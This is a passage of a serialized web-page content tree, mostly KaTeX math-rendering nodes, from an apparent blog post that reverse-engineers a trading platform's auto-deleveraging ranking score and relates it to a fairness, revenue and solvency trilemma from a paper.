notional",{"type":23,"tag":139,"props":158539,"children":158540},{"style":111524},[158541,158545],{"type":23,"tag":139,"props":158542,"children":158544},{"className":158543,"style":110122},[2049],[],{"type":23,"tag":139,"props":158546,"children":158548},{"className":158547,"style":111534},[111533],[],{"type":23,"tag":139,"props":158550,"children":158551},{"style":157111},[158552,158556],{"type":23,"tag":139,"props":158553,"children":158555},{"className":158554,"style":110122},[2049],[],{"type":23,"tag":139,"props":158557,"children":158559},{"className":158558},[2009],[158560,158566,158571,158581,158586,158590,158594,158599],{"type":23,"tag":139,"props":158561,"children":158563},{"className":158562},[19632],[158564],{"type":28,"value":158565},"max",{"type":23,"tag":139,"props":158567,"children":158569},{"className":158568},[19725],[158570],{"type":28,"value":262},{"type":23,"tag":139,"props":158572,"children":158574},{"className":158573},[2009,28],[158575],{"type":23,"tag":139,"props":158576,"children":158578},{"className":158577},[2009],[158579],{"type":28,"value":158580},"pnl",{"type":23,"tag":139,"props":158582,"children":158584},{"className":158583},[2121],[158585],{"type":28,"value":2124},{"type":23,"tag":139,"props":158587,"children":158589},{"className":158588,"style":2128},[2089],[],{"type":23,"tag":139,"props":158591,"children":158593},{"className":158592,"style":2128},[2089],[],{"type":23,"tag":139,"props":158595,"children":158597},{"className":158596},[2009],[158598],{"type":28,"value":2021},{"type":23,"tag":139,"props":158600,"children":158602},{"className":158601},[19747],[158603],{"type":28,"value":1104},{"type":23,"tag":139,"props":158605,"children":158607},{"className":158606},[19753],[158608],{"type":28,"value":19756},{"type":23,"tag":139,"props":158610,"children":158612},{"className":158611},[2035],[158613],{"type":23,"tag":139,"props":158614,"children":158616},{"className":158615,"style":157154},[2040],[158617],{"type":23,"tag":139,"props":158618,"children":158619},{},[],{"type":23,"tag":139,"props":158621,"children":158623},{"className":158622},[19747,111469],[],{"type":23,"tag":24,"props":158625,"children":158626},{},[158627,158629,158635],{"type":28,"value":158628},"It uses entry notional (",{"type":23,"tag":135,"props":158630,"children":158632},{"className":158631},[],[158633],{"type":28,"value":158634},"r14_2",{"type":28,"value":158636},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":24,"props":158638,"children":158639},{},[158640],{"type":28,"value":158641},"This basically tells us how well the user's bet went.",{"type":23,"tag":156950,"props":158643,"children":158647},{"addr":158644,"addr-start":158645,"addr-end":158646},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":24,"props":158649,"children":158650},{},[158651,158653,158659,158661,158667],{"type":28,"value":158652},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":135,"props":158654,"children":158656},{"className":158655},[],[158657],{"type":28,"value":158658},"1e-8",{"type":28,"value":158660},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":135,"props":158662,"children":158664},{"className":158663},[],[158665],{"type":28,"value":158666},"effective_leverage * profit_ratio",{"type":28,"value":158668},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":24,"props":158670,"children":158671},{},[158672],{"type":28,"value":158673},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":666,"props":158675,"children":158677},{"id":158676},"partial-and-total-adl",[158678],{"type":28,"value":158679},"Partial and Total ADL",{"type":23,"tag":24,"props":158681,"children":158682},{},[158683],{"type":28,"value":158684},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":24,"props":158686,"children":158687},{},[158688],{"type":28,"value":158689},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":24,"props":158691,"children":158692},{},[158693,158695,158700],{"type":28,"value":158694},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":135,"props":158696,"children":158698},{"className":158697},[],[158699],{"type":28,"value":157275},{"type":28,"value":158701}," boils down to:",{"type":23,"tag":156950,"props":158703,"children":158706},{"addr":157321,"line-start":158704,"line-end":158705},"3252","3632",[],{"type":23,"tag":24,"props":158708,"children":158709},{},[158710],{"type":28,"value":158711},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":33262,"props":158713,"children":158715},{"id":158714},"branches",[158716],{"type":28,"value":158717},"Branches",{"type":23,"tag":24,"props":158719,"children":158720},{},[158721],{"type":28,"value":158722},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":24,"props":158724,"children":158725},{},[158726],{"type":28,"value":158727},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":33262,"props":158729,"children":158731},{"id":158730},"financial-conclusions",[158732],{"type":28,"value":158733},"Financial Conclusions",{"type":23,"tag":41,"props":158735,"children":158737},{"id":158736},"fairness-revenue-solvency-trilemma",[158738],{"type":28,"value":158739},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":24,"props":158741,"children":158742},{},[158743,158745,158751],{"type":28,"value":158744},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":64,"props":158746,"children":158748},{"href":158103,"rel":158747},[68],[158749],{"type":28,"value":158750},"the paper mentioned before",{"type":28,"value":158752},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":14699,"props":158754,"children":158755},{},[158756,158766,158776],{"type":23,"tag":801,"props":158757,"children":158758},{},[158759,158764],{"type":23,"tag":659,"props":158760,"children":158761},{},[158762],{"type":28,"value":158763},"Solvency",{"type":28,"value":158765},": can the platform pay every trader out?",{"type":23,"tag":801,"props":158767,"children":158768},{},[158769,158774],{"type":23,"tag":659,"props":158770,"children":158771},{},[158772],{"type":28,"value":158773},"Fairness",{"type":28,"value":158775},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":801,"props":158777,"children":158778},{},[158779,158784],{"type":23,"tag":659,"props":158780,"children":158781},{},[158782],{"type":28,"value":158783},"Revenue",{"type":28,"value":158785},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":24,"props":158787,"children":158788},{},[158789],{"type":28,"value":158790},"Let's borrow these definitions from the paper:",{"type":23,"tag":128,"props":158792,"children":158793},{},[158794],{"type":23,"tag":135,"props":158795,"children":158797},{"className":158796},[1981,156978],[158798],{"type":23,"tag":139,"props":158799,"children":158801},{"className":158800},[156983],[158802],{"type":23,"tag":139,"props":158803,"children":158805},{"className":158804},[1987],[158806],{"type":23,"tag":139,"props":158807,"children":158809},{"className":158808,"ariaHidden":1993},[1992],[158810],{"type":23,"tag":139,"props":158811,"children":158813},{"className":158812},[1998],[158814,158819],{"type":23,"tag":139,"props":158815,"children":158818},{"className":158816,"style":158817},[2003],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":139,"props":158820,"children":158822},{"className":158821},[2009],[158823],{"type":23,"tag":139,"props":158824,"children":158826},{"className":158825},[157680],[158827,159646],{"type":23,"tag":139,"props":158828,"children":158830},{"className":158829},[157685],[158831],{"type":23,"tag":139,"props":158832,"children":158834},{"className":158833},[2030,19650],[158835,159634],{"type":23,"tag":139,"props":158836,"children":158838},{"className":158837},[2035],[158839,159629],{"type":23,"tag":139,"props":158840,"children":158843},{"className":158841,"style":158842},[2040],"height:11.8392em;",[158844,158915,158932,159001,159071,159140,159210,159279,159348,159417,159487,159558],{"type":23,"tag":139,"props":158845,"children":158847},{"style":158846},"top:-14.3707em;",[158848,158853],{"type":23,"tag":139,"props":158849,"children":158852},{"className":158850,"style":158851},[2049],"height:3.3714em;",[],{"type":23,"tag":139,"props":158854,"children":158856},{"className":158855},[2009],[158857],{"type":23,"tag":139,"props":158858,"children":158860},{"className":158859},[2009],[158861,158866],{"type":23,"tag":139,"props":158862,"children":158864},{"className":158863,"style":19597},[2009,19596],[158865],{"type":28,"value":19600},{"type":23,"tag":139,"props":158867,"children":158869},{"className":158868},[2025],[158870],{"type":23,"tag":139,"props":158871,"children":158873},{"className":158872},[2030,19650],[158874,158904],{"type":23,"tag":139,"props":158875,"children":158877},{"className":158876},[2035],[158878,158899],{"type":23,"tag":139,"props":158879,"children":158881},{"className":158880,"style":107383},[2040],[158882],{"type":23,"tag":139,"props":158883,"children":158885},{"style":158884},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[158886,158890],{"type":23,"tag":139,"props":158887,"children":158889},{"className":158888,"style":2050},[2049],[],{"type":23,"tag":139,"props":158891,"children":158893},{"className":158892},[2055,2056,2057,2058],[158894],{"type":23,"tag":139,"props":158895,"children":158897},{"className":158896},[2009,19596,2058],[158898],{"type":28,"value":54302},{"type":23,"tag":139,"props":158900,"children":158902},{"className":158901},[19753],[158903],{"type":28,"value":19756},{"type":23,"tag":139,"props":158905,"children":158907},{"className":158906},[2035],[158908],{"type":23,"tag":139,"props":158909,"children":158911},{"className":158910,"style":91034},[2040],[158912],{"type":23,"tag":139,"props":158913,"children":158914},{},[],{"type":23,"tag":139,"props":158916,"children":158918},{"style":158917},"top:-12.8707em;",[158919,158923],{"type":23,"tag":139,"props":158920,"children":158922},{"className":158921,"style":158851},[2049],[],{"type":23,"tag":139,"props":158924,"children":158926},{"className":158925},[2009],[158927],{"type":23,"tag":139,"props":158928,"children":158930},{"className":158929,"style":92971},[2009,19596],[158931],{"type":28,"value":93005},{"type":23,"tag":139,"props":158933,"children":158935},{"style":158934},"top:-10.8392em;",[158936,158940],{"type":23,"tag":139,"props":158937,"children":158939},{"className":158938,"style":158851},[2049],[],{"type":23,"tag":139,"props":158941,"children":158943},{"className":158942},[2009],[158944],{"type":23,"tag":139,"props":158945,"children":158947},{"className":158946},[2009],[158948,158953],{"type":23,"tag":139,"props":158949,"children":158951},{"className":158950},[2009,19596],[158952],{"type":28,"value":1123},{"type":23,"tag":139,"props":158954,"children":158956},{"className":158955},[2025],[158957],{"type":23,"tag":139,"props":158958,"children":158960},{"className":158959},[2030,19650],[158961,158990],{"type":23,"tag":139,"props":158962,"children":158964},{"className":158963},[2035],[158965,158985],{"type":23,"tag":139,"props":158966,"children":158968},{"className":158967,"style":91480},[2040],[158969],{"type":23,"tag":139,"props":158970,"children":158971},{"style":91007},[158972,158976],{"type":23,"tag":139,"props":158973,"children":158975},{"className":158974,"style":2050},[2049],[],{"type":23,"tag":139,"props":158977,"children":158979},{"className":158978},[2055,2056,2057,2058],[158980],{"type":23,"tag":139,"props":158981,"children":158983},{"className":158982},[2009,19596,2058],[158984],{"type":28,"value":1728},{"type":23,"tag":139,"props":158986,"children":158988},{"className":158987},[19753],[158989],{"type":28,"value":19756},{"type":23,"tag":139,"props":158991,"children":158993},{"className":158992},[2035],[158994],{"type":23,"tag":139,"props":158995,"children":158997},{"className":158996,"style":91034},[2040],[158998],{"type":23,"tag":139,"props":158999,"children":159000},{},[],{"type":23,"tag":139,"props":159002,"children":159004},{"style":159003},"top:-8.8188em;",[159005,159009],{"type":23,"tag":139,"props":159006,"children":159008},{"className":159007,"style":158851},[2049],[],{"type":23,"tag":139,"props":159010,"children":159012},{"className":159011},[2009],[159013],{"type":23,"tag":139,"props":159014,"children":159016},{"className":159015},[2009],[159017,159023],{"type":23,"tag":139,"props":159018,"children":159020},{"className":159019,"style":91437},[2009,19596],[159021],{"type":28,"value":159022},"π",{"type":23,"tag":139,"props":159024,"children":159026},{"className":159025},[2025],[159027],{"type":23,"tag":139,"props":159028,"children":159030},{"className":159029},[2030,19650],[159031,159060],{"type":23,"tag":139,"props":159032,"children":159034},{"className":159033},[2035],[159035,159055],{"type":23,"tag":139,"props":159036,"children":159038},{"className":159037,"style":91480},[2040],[159039],{"type":23,"tag":139,"props":159040,"children":159041},{"style":91484},[159042,159046],{"type":23,"tag":139,"props":159043,"children":159045},{"className":159044,"style":2050},[2049],[],{"type":23,"tag":139,"props":159047,"children":159049},{"className":159048},[2055,2056,2057,2058],[159050],{"type":23,"tag":139,"props":159051,"children":159053},{"className":159052},[2009,19596,2058],[159054],{"type":28,"value":1728},{"type":23,"tag":139,"props":159056,"children":159058},{"className":159057},[19753],[159059],{"type":28,"value":19756},{"type":23,"tag":139,"props":159061,"children":159063},{"className":159062},[2035],[159064],{"type":23,"tag":139,"props":159065,"children":159067},{"className":159066,"style":91034},[2040],[159068],{"type":23,"tag":139,"props":159069,"children":159070},{},[],{"type":23,"tag":139,"props":159072,"children":159074},{"style":159073},"top:-7.3188em;",[159075,159079],{"type":23,"tag":139,"props":159076,"children":159078},{"className":159077,"style":158851},[2049],[],{"type":23,"tag":139,"props":159080,"children":159082},{"className":159081},[2009],[159083],{"type":23,"tag":139,"props":159084,"children":159086},{"className":159085},[2009],[159087,159092],{"type":23,"tag":139,"props":159088,"children":159090},{"className":159089},[2009,19596],[159091],{"type":28,"value":49352},{"type":23,"tag":139,"props":159093,"children":159095},{"className":159094},[2025],[159096],{"type":23,"tag":139,"props":159097,"children":159099},{"className":159098},[2030,19650],[159100,159129],{"type":23,"tag":139,"props":159101,"children":159103},{"className":159102},[2035],[159104,159124],{"type":23,"tag":139,"props":159105,"children":159107},{"className":159106,"style":91480},[2040],[159108],{"type":23,"tag":139,"props":159109,"children":159110},{"style":91007},[159111,159115],{"type":23,"tag":139,"props":159112,"children":159114},{"className":159113,"style":2050},[2049],[],{"type":23,"tag":139,"props":159116,"children":159118},{"className":159117},[2055,2056,2057,2058],[159119],{"type":23,"tag":139,"props":159120,"children":159122},{"className":159121},[2009,19596,2058],[159123],{"type":28,"value":1728},{"type":23,"tag":139,"props":159125,"children":159127},{"className":159126},[19753],[159128],{"type":28,"value":19756},{"type":23,"tag":139,"props":159130,"children":159132},{"className":159131},[2035],[159133],{"type":23,"tag":139,"props":159134,"children":159136},{"className":159135,"style":91034},[2040],[159137],{"type":23,"tag":139,"props":159138,"children":159139},{},[],{"type":23,"tag":139,"props":159141,"children":159143},{"style":159142},"top:-5.8188em;",[159144,159148],{"type":23,"tag":139,"props":159145,"children":159147},{"className":159146,"style":158851},[2049],[],{"type":23,"tag":139,"props":159149,"children":159151},{"className":159150},[2009],[159152],{"type":23,"tag":139,"props":159153,"children":159155},{"className":159154},[2009],[159156,159161],{"type":23,"tag":139,"props":159157,"children":159159},{"className":159158,"style":120231},[2009,19596],[159160],{"type":28,"value":47469},{"type":23,"tag":139,"props":159162,"children":159164},{"className":159163},[2025],[159165],{"type":23,"tag":139,"props":159166,"children":159168},{"className":159167},[2030,19650],[159169,159199],{"type":23,"tag":139,"props":159170,"children":159172},{"className":159171},[2035],[159173,159194],{"type":23,"tag":139,"props":159174,"children":159176},{"className":159175,"style":91480},[2040],[159177],{"type":23,"tag":139,"props":159178,"children":159180},{"style":159179},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[159181,159185],{"type":23,"tag":139,"props":159182,"children":159184},{"className":159183,"style":2050},[2049],[],{"type":23,"tag":139,"props":159186,"children":159188},{"className":159187},[2055,2056,2057,2058],[159189],{"type":23,"tag":139,"props":159190,"children":159192},{"className":159191},[2009,19596,2058],[159193],{"type":28,"value":1728},{"type":23,"tag":139,"props":159195,"children":159197},{"className":159196},[19753],[159198],{"type":28,"value":19756},{"type":23,"tag":139,"props":159200,"children":159202},{"className":159201},[2035],[159203],{"type":23,"tag":139,"props":159204,"children":159206},{"className":159205,"style":91034},[2040],[159207],{"type":23,"tag":139,"props":159208,"children":159209},{},[],{"type":23,"tag":139,"props":159211,"children":159213},{"style":159212},"top:-4.3188em;",[159214,159218],{"type":23,"tag":139,"props":159215,"children":159217},{"className":159216,"style":158851},[2049],[],{"type":23,"tag":139,"props":159219,"children":159221},{"className":159220},[2009],[159222],{"type":23,"tag":139,"props":159223,"children":159225},{"className":159224},[2009],[159226,159231],{"type":23,"tag":139,"props":159227,"children":159229},{"className":159228},[2009,19596],[159230],{"type":28,"value":17284},{"type":23,"tag":139,"props":159232,"children":159234},{"className":159233},[2025],[159235],{"type":23,"tag":139,"props":159236,"children":159238},{"className":159237},[2030,19650],[159239,159268],{"type":23,"tag":139,"props":159240,"children":159242},{"className":159241},[2035],[159243,159263],{"type":23,"tag":139,"props":159244,"children":159246},{"className":159245,"style":91480},[2040],[159247],{"type":23,"tag":139,"props":159248,"children":159249},{"style":91007},[159250,159254],{"type":23,"tag":139,"props":159251,"children":159253},{"className":159252,"style":2050},[2049],[],{"type":23,"tag":139,"props":159255,"children":159257},{"className":159256},[2055,2056,2057,2058],[159258],{"type":23,"tag":139,"props":159259,"children":159261},{"className":159260},[2009,19596,2058],[159262],{"type":28,"value":1728},{"type":23,"tag":139,"props":159264,"children":159266},{"className":159265},[19753],[159267],{"type":28,"value":19756},{"type":23,"tag":139,"props":159269,"children":159271},{"className":159270},[2035],[159272],{"type":23,"tag":139,"props":159273,"children":159275},{"className":159274,"style":91034},[2040],[159276],{"type":23,"tag":139,"props":159277,"children":159278},{},[],{"type":23,"tag":139,"props":159280,"children":159282},{"style":159281},"top:-2.5512em;",[159283,159287],{"type":23,"tag":139,"props":159284,"children":159286},{"className":159285,"style":158851},[2049],[],{"type":23,"tag":139,"props":159288,"children":159290},{"className":159289},[2009],[159291],{"type":23,"tag":139,"props":159292,"children":159294},{"className":159293},[2009],[159295,159300],{"type":23,"tag":139,"props":159296,"children":159298},{"className":159297},[2009,19596],[159299],{"type":28,"value":82249},{"type":23,"tag":139,"props":159301,"children":159303},{"className":159302},[2025],[159304],{"type":23,"tag":139,"props":159305,"children":159307},{"className":159306},[2030,19650],[159308,159337],{"type":23,"tag":139,"props":159309,"children":159311},{"className":159310},[2035],[159312,159332],{"type":23,"tag":139,"props":159313,"children":159315},{"className":159314,"style":91480},[2040],[159316],{"type":23,"tag":139,"props":159317,"children":159318},{"style":91007},[159319,159323],{"type":23,"tag":139,"props":159320,"children":159322},{"className":159321,"style":2050},[2049],[],{"type":23,"tag":139,"props":159324,"children":159326},{"className":159325},[2055,2056,2057,2058],[159327],{"type":23,"tag":139,"props":159328,"children":159330},{"className":159329},[2009,19596,2058],[159331],{"type":28,"value":1728},{"type":23,"tag":139,"props":159333,"children":159335},{"className":159334},[19753],[159336],{"type":28,"value":19756},{"type":23,"tag":139,"props":159338,"children":159340},{"className":159339},[2035],[159341],{"type":23,"tag":139,"props":159342,"children":159344},{"className":159343,"style":91034},[2040],[159345],{"type":23,"tag":139,"props":159346,"children":159347},{},[],{"type":23,"tag":139,"props":159349,"children":159351},{"style":159350},"top:-0.3652em;",[159352,159356],{"type":23,"tag":139,"props":159353,"children":159355},{"className":159354,"style":158851},[2049],[],{"type":23,"tag":139,"props":159357,"children":159359},{"className":159358},[2009],[159360],{"type":23,"tag":139,"props":159361,"children":159363},{"className":159362},[2009],[159364,159369],{"type":23,"tag":139,"props":159365,"children":159367},{"className":159366,"style":91185},[2009,19596],[159368],{"type":28,"value":91188},{"type":23,"tag":139,"props":159370,"children":159372},{"className":159371},[2025],[159373],{"type":23,"tag":139,"props":159374,"children":159376},{"className":159375},[2030,19650],[159377,159406],{"type":23,"tag":139,"props":159378,"children":159380},{"className":159379},[2035],[159381,159401],{"type":23,"tag":139,"props":159382,"children":159384},{"className":159383,"style":140506},[2040],[159385],{"type":23,"tag":139,"props":159386,"children":159387},{"style":108380},[159388,159392],{"type":23,"tag":139,"props":159389,"children":159391},{"className":159390,"style":2050},[2049],[],{"type":23,"tag":139,"props":159393,"children":159395},{"className":159394},[2055,2056,2057,2058],[159396],{"type":23,"tag":139,"props":159397,"children":159399},{"className":159398,"style":19597},[2009,19596,2058],[159400],{"type":28,"value":3990},{"type":23,"tag":139,"props":159402,"children":159404},{"className":159403},[19753],[159405],{"type":28,"value":19756},{"type":23,"tag":139,"props":159407,"children":159409},{"className":159408},[2035],[159410],{"type":23,"tag":139,"props":159411,"children":159413},{"className":159412,"style":91034},[2040],[159414],{"type":23,"tag":139,"props":159415,"children":159416},{},[],{"type":23,"tag":139,"props":159418,"children":159420},{"style":159419},"top:2.2624em;",[159421,159425],{"type":23,"tag":139,"props":159422,"children":159424},{"className":159423,"style":158851},[2049],[],{"type":23,"tag":139,"props":159426,"children":159428},{"className":159427},[2009],[159429],{"type":23,"tag":139,"props":159430,"children":159432},{"className":159431},[2009],[159433,159439],{"type":23,"tag":139,"props":159434,"children":159436},{"className":159435,"style":90951},[2009,19596],[159437],{"type":28,"value":159438},"D",{"type":23,"tag":139,"props":159440,"children":159442},{"className":159441},[2025],[159443],{"type":23,"tag":139,"props":159444,"children":159446},{"className":159445},[2030,19650],[159447,159476],{"type":23,"tag":139,"props":159448,"children":159450},{"className":159449},[2035],[159451,159471],{"type":23,"tag":139,"props":159452,"children":159454},{"className":159453,"style":140506},[2040],[159455],{"type":23,"tag":139,"props":159456,"children":159457},{"style":107950},[159458,159462],{"type":23,"tag":139,"props":159459,"children":159461},{"className":159460,"style":2050},[2049],[],{"type":23,"tag":139,"props":159463,"children":159465},{"className":159464},[2055,2056,2057,2058],[159466],{"type":23,"tag":139,"props":159467,"children":159469},{"className":159468,"style":19597},[2009,19596,2058],[159470],{"type":28,"value":3990},{"type":23,"tag":139,"props":159472,"children":159474},{"className":159473},[19753],[159475],{"type":28,"value":19756},{"type":23,"tag":139,"props":159477,"children":159479},{"className":159478},[2035],[159480],{"type":23,"tag":139,"props":159481,"children":159483},{"className":159482,"style":91034},[2040],[159484],{"type":23,"tag":139,"props":159485,"children":159486},{},[],{"type":23,"tag":139,"props":159488,"children":159490},{"style":159489},"top:4.8901em;",[159491,159495],{"type":23,"tag":139,"props":159492,"children":159494},{"className":159493,"style":158851},[2049],[],{"type":23,"tag":139,"props":159496,"children":159498},{"className":159497},[2009],[159499],{"type":23,"tag":139,"props":159500,"children":159502},{"className":159501},[2009],[159503,159509],{"type":23,"tag":139,"props":159504,"children":159506},{"className":159505,"style":92959},[2009,19596],[159507],{"type":28,"value":159508},"U",{"type":23,"tag":139,"props":159510,"children":159512},{"className":159511},[2025],[159513],{"type":23,"tag":139,"props":159514,"children":159516},{"className":159515},[2030,19650],[159517,159547],{"type":23,"tag":139,"props":159518,"children":159520},{"className":159519},[2035],[159521,159542],{"type":23,"tag":139,"props":159522,"children":159524},{"className":159523,"style":140506},[2040],[159525],{"type":23,"tag":139,"props":159526,"children":159528},{"style":159527},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[159529,159533],{"type":23,"tag":139,"props":159530,"children":159532},{"className":159531,"style":2050},[2049],[],{"type":23,"tag":139,"props":159534,"children":159536},{"className":159535},[2055,2056,2057,2058],[159537],{"type":23,"tag":139,"props":159538,"children":159540},{"className":159539,"style":19597},[2009,19596,2058],[159541],{"type":28,"value":3990},{"type":23,"tag":139,"props":159543,"children":159545},{"className":159544},[19753],[159546],{"type":28,"value":19756},{"type":23,"tag":139,"props":159548,"children":159550},{"className":159549},[2035],[159551],{"type":23,"tag":139,"props":159552,"children":159554},{"className":159553,"style":91034},[2040],[159555],{"type":23,"tag":139,"props":159556,"children":159557},{},[],{"type":23,"tag":139,"props":159559,"children":159561},{"style":159560},"top:7.3078em;",[159562,159566],{"type":23,"tag":139,"props":159563,"children":159565},{"className":159564,"style":158851},[2049],[],{"type":23,"tag":139,"props":159567,"children":159569},{"className":159568},[2009],[159570],{"type":23,"tag":139,"props":159571,"children":159573},{"className":159572},[2009],[159574,159579],{"type":23,"tag":139,"props":159575,"children":159577},{"className":159576,"style":120728},[2009,19596],[159578],{"type":28,"value":120731},{"type":23,"tag":139,"props":159580,"children":159582},{"className":159581},[2025],[159583],{"type":23,"tag":139,"props":159584,"children":159586},{"className":159585},[2030,19650],[159587,159618],{"type":23,"tag":139,"props":159588,"children":159590},{"className":159589},[2035],[159591,159613],{"type":23,"tag":139,"props":159592,"children":159595},{"className":159593,"style":159594},[2040],"height:0.2806em;",[159596],{"type":23,"tag":139,"props":159597,"children":159599},{"style":159598},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[159600,159604],{"type":23,"tag":139,"props":159601,"children":159603},{"className":159602,"style":2050},[2049],[],{"type":23,"tag":139,"props":159605,"children":159607},{"className":159606},[2055,2056,2057,2058],[159608],{"type":23,"tag":139,"props":159609,"children":159611},{"className":159610},[2009,19596,2058],[159612],{"type":28,"value":19738},{"type":23,"tag":139,"props":159614,"children":159616},{"className":159615},[19753],[159617],{"type":28,"value":19756},{"type":23,"tag":139,"props":159619,"children":159621},{"className":159620},[2035],[159622],{"type":23,"tag":139,"props":159623,"children":159625},{"className":159624,"style":91034},[2040],[159626],{"type":23,"tag":139,"props":159627,"children":159628},{},[],{"type":23,"tag":139,"props":159630,"children":159632},{"className":159631},[19753],[159633],{"type":28,"value":19756},{"type":23,"tag":139,"props":159635,"children":159637},{"className":159636},[2035],[159638],{"type":23,"tag":139,"props":159639,"children":159642},{"className":159640,"style":159641},[2040],"height:11.3392em;",[159643],{"type":23,"tag":139,"props":159644,"children":159645},{},[],{"type":23,"tag":139,"props":159647,"children":159649},{"className":159648},[157765],[159650],{"type":23,"tag":139,"props":159651,"children":159653},{"className":159652},[2030,19650],[159654,161356],{"type":23,"tag":139,"props":159655,"children":159657},{"className":159656},[2035],[159658,161351],{"type":23,"tag":139,"props":159659,"children":159661},{"className":159660,"style":158842},[2040],[159662,159700,159738,159885,160120,160275,160380,160423,160644,160803,160993,161145],{"type":23,"tag":139,"props":159663,"children":159664},{"style":158846},[159665,159669],{"type":23,"tag":139,"props":159666,"children":159668},{"className":159667,"style":158851},[2049],[],{"type":23,"tag":139,"props":159670,"children":159672},{"className":159671},[2009],[159673,159677,159681,159686,159690],{"type":23,"tag":139,"props":159674,"children":159676},{"className":159675},[2009],[],{"type":23,"tag":139,"props":159678,"children":159680},{"className":159679,"style":2187},[2089],[],{"type":23,"tag":139,"props":159682,"children":159684},{"className":159683},[2192],[159685],{"type":28,"value":19615},{"type":23,"tag":139,"props":159687,"children":159689},{"className":159688,"style":2187},[2089],[],{"type":23,"tag":139,"props":159691,"children":159693},{"className":159692},[2009,28],[159694],{"type":23,"tag":139,"props":159695,"children":159697},{"className":159696},[2009],[159698],{"type":28,"value":159699},"mark price",{"type":23,"tag":139,"props":159701,"children":159702},{"style":158917},[159703,159707],{"type":23,"tag":139,"props":159704,"children":159706},{"className":159705,"style":158851},[2049],[],{"type":23,"tag":139,"props":159708,"children":159710},{"className":159709},[2009],[159711,159715,159719,159724,159728],{"type":23,"tag":139,"props":159712,"children":159714},{"className":159713},[2009],[],{"type":23,"tag":139,"props":159716,"children":159718},{"className":159717,"style":2187},[2089],[],{"type":23,"tag":139,"props":159720,"children":159722},{"className":159721},[2192],[159723],{"type":28,"value":19615},{"type":23,"tag":139,"props":159725,"children":159727},{"className":159726,"style":2187},[2089],[],{"type":23,"tag":139,"props":159729,"children":159731},{"className":159730},[2009,28],[159732],{"type":23,"tag":139,"props":159733,"children":159735},{"className":159734},[2009],[159736],{"type":28,"value":159737},"insurance fund",{"type":23,"tag":139,"props":159739,"children":159740},{"style":158934},[159741,159745],{"type":23,"tag":139,"props":159742,"children":159744},{"className":159743,"style":158851},[2049],[],{"type":23,"tag":139,"props":159746,"children":159748},{"className":159747},[2009],[159749,159753,159757,159762,159766,159776,159780,159785,159789],{"type":23,"tag":139,"props":159750,"children":159752},{"className":159751},[2009],[],{"type":23,"tag":139,"props":159754,"children":159756},{"className":159755,"style":2187},[2089],[],{"type":23,"tag":139,"props":159758,"children":159760},{"className":159759},[2192],[159761],{"type":28,"value":19615},{"type":23,"tag":139,"props":159763,"children":159765},{"className":159764,"style":2187},[2089],[],{"type":23,"tag":139,"props":159767,"children":159769},{"className":159768},[2009,28],[159770],{"type":23,"tag":139,"props":159771,"children":159773},{"className":159772},[2009],[159774],{"type":28,"value":159775},"collateral",{"type":23,"tag":139,"props":159777,"children":159779},{"className":159778,"style":2187},[2089],[],{"type":23,"tag":139,"props":159781,"children":159783},{"className":159782},[2192],[159784],{"type":28,"value":1067},{"type":23,"tag":139,"props":159786,"children":159788},{"className":159787,"style":2187},[2089],[],{"type":23,"tag":139,"props":159790,"children":159792},{"className":159791},[2009],[159793,159797,159881],{"type":23,"tag":139,"props":159794,"children":159796},{"className":159795},[19725,111469],[],{"type":23,"tag":139,"props":159798,"children":159800},{"className":159799},[111474],[159801],{"type":23,"tag":139,"props":159802,"children":159804},{"className":159803},[2030,19650],[159805,159870],{"type":23,"tag":139,"props":159806,"children":159808},{"className":159807},[2035],[159809,159865],{"type":23,"tag":139,"props":159810,"children":159813},{"className":159811,"style":159812},[2040],"height:1.3714em;",[159814,159834,159845],{"type":23,"tag":139,"props":159815,"children":159816},{"style":157060},[159817,159821],{"type":23,"tag":139,"props":159818,"children":159820},{"className":159819,"style":110122},[2049],[],{"type":23,"tag":139,"props":159822,"children":159824},{"className":159823},[2009],[159825],{"type":23,"tag":139,"props":159826,"children":159828},{"className":159827},[2009,28],[159829],{"type":23,"tag":139,"props":159830,"children":159832},{"className":159831},[2009],[159833],{"type":28,"value":157097},{"type":23,"tag":139,"props":159835,"children":159836},{"style":111524},[159837,159841],{"type":23,"tag":139,"props":159838,"children":159840},{"className":159839,"style":110122},[2049],[],{"type":23,"tag":139,"props":159842,"children":159844},{"className":159843,"style":111534},[111533],[],{"type":23,"tag":139,"props":159846,"children":159847},{"style":157111},[159848,159852],{"type":23,"tag":139,"props":159849,"children":159851},{"className":159850,"style":110122},[2049],[],{"type":23,"tag":139,"props":159853,"children":159855},{"className":159854},[2009],[159856],{"type":23,"tag":139,"props":159857,"children":159859},{"className":159858},[2009,28],[159860],{"type":23,"tag":139,"props":159861,"children":159863},{"className":159862},[2009],[159864],{"type":28,"value":157136},{"type":23,"tag":139,"props":159866,"children":159868},{"className":159867},[19753],[159869],{"type":28,"value":19756},{"type":23,"tag":139,"props":159871,"children":159873},{"className":159872},[2035],[159874],{"type":23,"tag":139,"props":159875,"children":159877},{"className":159876,"style":157154},[2040],[159878],{"type":23,"tag":139,"props":159879,"children":15